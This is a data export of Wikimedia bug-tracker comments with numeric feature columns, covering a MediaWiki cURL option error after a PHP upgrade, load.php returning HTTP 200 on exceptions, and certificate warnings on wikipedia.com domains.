SPNEGO	No
SSL	Yes
SSPI	No
krb4	No
libz	Yes
CharConv	No
Protocols	dict, file, ftp, ftps, gopher, http, https, imap, imaps, pop3, pop3s, rtsp, smtp, smtps, telnet, tftp
Host	x86_64-unknown-linux-gnu
SSL Version	OpenSSL/0.9.8o
ZLib Version	1.2.3",,,1353966571,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,22.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,1.0,1.0,22.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5342465753424658,"I'm sorry but I don't see anything about this error in the error console. Did find the cURL:

cURL support	enabled
cURL Information	7.28.1
Age	3
Features
AsynchDNS	No
Debug	No
GSS-Negotiate	No
IDN	No
IPv6	Yes
Largefile	Yes
NTLM	Yes
SPNEGO	No
SSL	Yes
SSPI	No
krb4	No
libz	Yes
CharConv	No
Protocols	dict, file, ftp, ftps, gopher, http, https, imap, imaps, pop3, pop3s, rtsp, smtp, smtps, telnet, tftp
Host	x86_64-unknown-linux-gnu
SSL Version	OpenSSL/0.9.8o
ZLib Version	1.2.3"
192877,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"That means that curl_setopt_array() failed, which could be due to any of the up to 18 options we set in that call.

I don't see we use any option added in PHP > 5.3.19 http://www.php.net/manual/en/function.curl-setopt.php

Moreover, it doesn't make sense that upgrading to a newer version of php broke it. There was likely some configuration change as well, which is bitting you.

Can you see the error log for when you got the error?
It should have generated a notice telling about the option which failed.",,,1353963359,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,2.0,0.0,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,1.0,1.5,0.0,4.5,8.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,1.5,0.0,1.0,2.5,3.5,2.5,0.5,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,0.5,0.5,7.5,0.5,0.5,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,5.5,2.5,5.5,2.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,7.0,8.0,1.0,1.0,0.0,0.0,7.0,0.0,3.5,2.0,0.0,2.5,1.0,0.0,0.5,3.686274509803922,0.8235294117647058,"That means that curl_setopt_array() failed, which could be due to any of the up to 18 options we set in that call.

I don't see we use any option added in PHP > 5.3.19 URL

Moreover, it doesn't make sense that upgrading to a newer version of php broke it. There was likely some configuration change as well, which is bitting you.

Can you see the error log for when you got the error?
It should have generated a notice telling about the option which failed."
192871,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #4)
> As I said my hosting provider upgraded to php 5.3.19 and I cannot answer your
> question about cURL support. I will ask them about it.

Create a .php file with ""<?php phpinfo();"", go to it in your browser and try to find the cURL section.",,,1353962802,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,5.0,14.0,7.0,2.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.7857142857142856,0.8333333333333334,"(In reply to comment #4)
QUOTE
QUOTE

Create a .php file with ""<?php phpinfo();"", go to it in your browser and try to find the cURL section."
192863,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I got a page called 'Internal error' with text:
'Error setting curl options.' and the backtrace above.

As I said my hosting provider upgraded to php 5.3.19 and I cannot answer your question about cURL support. I will ask them about it.",,,1353962618,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,15.0,9.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,3.6481481481481484,0.7962962962962963,"I got a page called 'Internal error' with text:
'Error setting curl options.' and the backtrace above.

As I said my hosting provider upgraded to php 5.3.19 and I cannot answer your question about cURL support. I will ask them about it."
192855,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"What was the error you got? (just before the stack trace)
Are you absolutely sure PHP cURL support is enabled?",,,1353961341,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.68,0.88,"What was the error you got? (just before the stack trace)
Are you absolutely sure PHP cURL support is enabled?"
192846,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"#0 /home/wow/domains/wow.wikibase.nl/public_html/includes/HttpFunctions.php(68): CurlHttpRequest->execute()
#1 /home/wow/domains/wow.wikibase.nl/public_html/includes/HttpFunctions.php(88): Http::request('GET', 'http://maps.goo...', Array)
#2 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoder.php(111): Http::get('http://maps.goo...')
#3 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(205): MapsGeocoder->geocode('Anthony Fokkers...')
#4 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(127): MapsGeocoders::geocode('Anthony Fokkers...', 'google', 'googlemaps3')
#5 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(144): MapsGeocoders::attemptToGeocode('Anthony Fokkers...', 'google', 'googlemaps3')
#6 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/criteria/CriterionIsLocation.php(55): MapsGeocoders::isLocation('Anthony Fokkers...', 'google', 'googlemaps3')
#7 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ItemParameterCriterion.php(75): CriterionIsLocation->doValidation('Anthony Fokkers...', Object(ListParameter), Array)
#8 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Parameter.php(424): ItemParameterCriterion->validate(Object(ListParameter), Array)
#9 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Parameter.php(399): Parameter->validateCriteria(Array)
#10 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ListParameter.php(137): Parameter->doValidation(Array)
#11 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Validator.php(291): ListParameter->validate(Array)
#12 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Validator.php(253): Validator->doParamProcessing()
#13 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(372): Validator->validateParameters()
#14 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(295): ParserHook->validateAndRender(Array, 1)
#15 [internal function]: ParserHook->renderFunction(Object(Parser), 'Anthony Fokkers...', 'service=googlem...', 'geoservice=goog...', 'height=200', 'controls=zoom')
#16 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(337): call_user_func_array(Array, Array)
#17 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(636): ParserHook->renderFunctionObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#18 [internal function]: ParserHookCaller->runFunctionHookObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#19 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3250): call_user_func_array(Array, Array)
#20 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Preprocessor_DOM.php(1083): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#21 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3416): PPFrame_DOM->expand(Object(PPNode_DOM))
#22 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Preprocessor_DOM.php(1083): Parser->braceSubstitution(Array, Object(PPFrame_DOM))
#23 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3038): PPFrame_DOM->expand(Object(PPNode_DOM), 0)
#24 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(1136): Parser->replaceVariables('{{Organization?...')
#25 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(370): Parser->internalParse('{{Organization?...')
#26 /home/wow/domains/wow.wikibase.nl/public_html/includes/job/RefreshLinksJob.php(78): Parser->parse('{{Organization?...', Object(Title), Object(ParserOptions), true, true, 4481)
#27 /home/wow/domains/wow.wikibase.nl/public_html/includes/job/RefreshLinksJob.php(66): RefreshLinksJob::runForTitleInternal(Object(Title), Object(Revision), 'RefreshLinksJob...')
#28 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(594): RefreshLinksJob->run()
#29 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(556): MediaWiki->doJobs()
#30 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(447): MediaWiki->restInPeace()
#31 /home/wow/domains/wow.wikibase.nl/public_html/index.php(59): MediaWiki->run()
#32 {main}",,,1353936410,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.7777777777777778,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2222222222222223,0.0,0.0,0.0,0.0,0.0,7.888888888888889,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,6.111111111111111,0.0,0.0,0.0,18.22222222222222,0.3333333333333333,3.7777777777777777,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,5.292947390773478,0.3402346445824707,"#0 /home/wow/domains/wow.wikibase.nl/public_html/includes/HttpFunctions.php(68): CurlHttpRequest->execute()
#1 /home/wow/domains/wow.wikibase.nl/public_html/includes/HttpFunctions.php(88): Http::request('GET', 'URL Array)
#2 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoder.php(111): Http::get('URL
#3 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(205): MapsGeocoder->geocode('Anthony Fokkers...')
#4 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(127): MapsGeocoders::geocode('Anthony Fokkers...', 'google', 'googlemaps3')
#5 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(144): MapsGeocoders::attemptToGeocode('Anthony Fokkers...', 'google', 'googlemaps3')
#6 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/criteria/CriterionIsLocation.php(55): MapsGeocoders::isLocation('Anthony Fokkers...', 'google', 'googlemaps3')
#7 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ItemParameterCriterion.php(75): CriterionIsLocation->doValidation('Anthony Fokkers...', Object(ListParameter), Array)
#8 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Parameter.php(424): ItemParameterCriterion->validate(Object(ListParameter), Array)
#9 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Parameter.php(399): Parameter->validateCriteria(Array)
#10 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ListParameter.php(137): Parameter->doValidation(Array)
#11 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Validator.php(291): ListParameter->validate(Array)
#12 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Validator.php(253): Validator->doParamProcessing()
#13 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(372): Validator->validateParameters()
#14 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(295): ParserHook->validateAndRender(Array, 1)
#15 [internal function]: ParserHook->renderFunction(Object(Parser), 'Anthony Fokkers...', 'service=googlem...', 'geoservice=goog...', 'height=200', 'controls=zoom')
#16 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(337): call_user_func_array(Array, Array)
#17 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(636): ParserHook->renderFunctionObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#18 [internal function]: ParserHookCaller->runFunctionHookObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#19 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3250): call_user_func_array(Array, Array)
#20 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Preprocessor_DOM.php(1083): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#21 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3416): PPFrame_DOM->expand(Object(PPNode_DOM))
#22 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Preprocessor_DOM.php(1083): Parser->braceSubstitution(Array, Object(PPFrame_DOM))
#23 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3038): PPFrame_DOM->expand(Object(PPNode_DOM), 0)
#24 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(1136): Parser->replaceVariables('{{Organization?...')
#25 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(370): Parser->internalParse('{{Organization?...')
#26 /home/wow/domains/wow.wikibase.nl/public_html/includes/job/RefreshLinksJob.php(78): Parser->parse('{{Organization?...', Object(Title), Object(ParserOptions), true, true, 4481)
#27 /home/wow/domains/wow.wikibase.nl/public_html/includes/job/RefreshLinksJob.php(66): RefreshLinksJob::runForTitleInternal(Object(Title), Object(Revision), 'RefreshLinksJob...')
#28 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(594): RefreshLinksJob->run()
#29 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(556): MediaWiki->doJobs()
#30 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(447): MediaWiki->restInPeace()
#31 /home/wow/domains/wow.wikibase.nl/public_html/index.php(59): MediaWiki->run()
#32 {main}"
192838,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),Can you please provide the full stack trace?,,,1353936229,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Can you please provide the full stack trace?
44166,load.php should return HTTP 500 if one or more exceptions were thrown during the generation of the module response(s),"So, we had the following incident a few moments ago:
An Apache on the fleet was misconfigured, with wrong permissions in at least /wmf-config/.

Random bits hits for some CSS (e.g. for it.wp) ended up on this Apache, which returned a page full of CSS comments with DBConnectionError ('DB connection error: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) (localhost)' in /usr/local/apache/common-local/php-1.21wmf3/includes/db/Database.php:797), since no configuration, database or otherwise, was readable or defined.

The problem is that this CSS full of exceptions and no actual content was returned with a 200 status code and subsequently cached in Squid and Varnish. Fortunately the TTL for those is short, and the site recovered quickly.

Could you please adjust it so that 500s are raised on such cases?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1353016260,1362548319.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,False,PHID-TASK-vb45o5lq3c4v2zlk7dsf,task_description,resolved,True,c2,1,True,False,True,-41,True,1.0,0.0,0.0,1.5,0.5,8.0,1.5,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.0,0.5,0.0,4.0,11.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,4.5,0.0,1.0,0.0,0.0,0.0,13.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,3.0,10.5,2.0,3.0,8.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,1.5,11.0,6.0,0.5,2.0,0.0,1.5,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,4.045454545454546,0.7222222222222222,"So, we had the following incident a few moments ago:
An Apache on the fleet was misconfigured, with wrong permissions in at least /wmf-config/.

Random bits hits for some CSS (e.g. for it.wp) ended up on this Apache, which returned a page full of CSS comments with DBConnectionError ('DB connection error: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) (localhost)' in /usr/local/apache/common-local/php-1.21wmf3/includes/db/Database.php:797), since no configuration, database or otherwise, was readable or defined.

The problem is that this CSS full of exceptions and no actual content was returned with a 200 status code and subsequently cached in Squid and Varnish. Fortunately the TTL for those is short, and the site recovered quickly.

Could you please adjust it so that 500s are raised on such cases?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
202569,load.php should return HTTP 500 if one or more exceptions were thrown during the generation of the module response(s),"

*** This bug has been marked as a duplicate of bug 33917 ***",,,1362548319,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vb45o5lq3c4v2zlk7dsf,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 33917 ***"
42998,https://wikipedia.com and similar throw certificate warning,"From bug 34788 comment #8:
> On a related note, if you go to .com addresses (like https://en.wikipedia.com/)
> using HTTPS protocol, before you get forwarded to the .org address, you will
> get an error message regarding the SSL key. That is because the .com addresses
> use the SSL key that is for *.wikipedia.org

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.com",Low,25.0,1350100740,1475504514.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-boev7byafz4tjdafsotq,task_description,duplicate,True,c2,1,True,False,False,-46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1707317073170733,0.4146341463414634,"From bug 34788 comment #8:
QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
475006,https://wikipedia.com and similar throw certificate warning,"This is one (particularly prominent) aspect of a the broader scope problem with having way too many mostly-useless domains over here: https://phabricator.wikimedia.org/T101048 .  We have a ton of domains that get very little traffic and it's much more an issue with TLS as we don't want to encourage/allow linking insecure redirects, and we don't want to buy and manage 140+ TLS certs either.",,,1434400724,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,True,,,93,True,3.0,0.0,1.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,12.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,17.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,6.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,0.0,3.0,3.0,0.0,0.0,3.792207792207792,0.8311688311688312,"This is one (particularly prominent) aspect of a the broader scope problem with having way too many mostly-useless domains over here: URL .  We have a ton of domains that get very little traffic and it's much more an issue with TLS as we don't want to encourage/allow linking insecure redirects, and we don't want to buy and manage 140+ TLS certs either."
183135,https://wikipedia.com and similar throw certificate warning,"(In reply to Tim Starling from comment #6)

+1",,,1409643904,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,1.0,"(In reply to Tim Starling from comment #6)

+1"
183130,https://wikipedia.com and similar throw certificate warning,"We could have those hosts go to a separate set of public IPs, and then refuse connections on port 443.",,,1400131560,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,False,,,37,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,1.0,"We could have those hosts go to a separate set of public IPs, and then refuse connections on port 443."
183126,https://wikipedia.com and similar throw certificate warning,"From a technical point of view, I read a best practice could be not to add too much DNS domains in one certificate because it adds these some bits of certificate description to all clients. For *.com and *.net domains it could be worth issuing them in a distinct certificate, if any.

Personally I’m not convinced it is worth adding TLS on *.com or *.net since it is no more the canonical extension. And if stats are not soon available, I find it would be better to deactivate the TLS on these domains because certificate errors participate in lowering the global security by accustoming users to false positives (and this bug is currently really an error because signed and used domains mismatch, not just a self-signed certificate).",,,1396598225,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,False,,,31,True,2.0,0.0,0.0,0.0,2.5,6.5,2.0,2.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,0.5,7.5,11.5,0.0,1.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,1.0,0.5,0.0,5.5,0.5,3.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,15.5,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,4.5,5.5,4.0,3.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,5.0,11.5,1.5,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.5,2.5,1.5,0.5,0.0,4.201959665144597,0.7727359208523592,"From a technical point of view, I read a best practice could be not to add too much DNS domains in one certificate because it adds these some bits of certificate description to all clients. For *.com and *.net domains it could be worth issuing them in a distinct certificate, if any.

Personally I’m not convinced it is worth adding TLS on *.com or *.net since it is no more the canonical extension. And if stats are not soon available, I find it would be better to deactivate the TLS on these domains because certificate errors participate in lowering the global security by accustoming users to false positives (and this bug is currently really an error because signed and used domains mismatch, not just a self-signed certificate)."
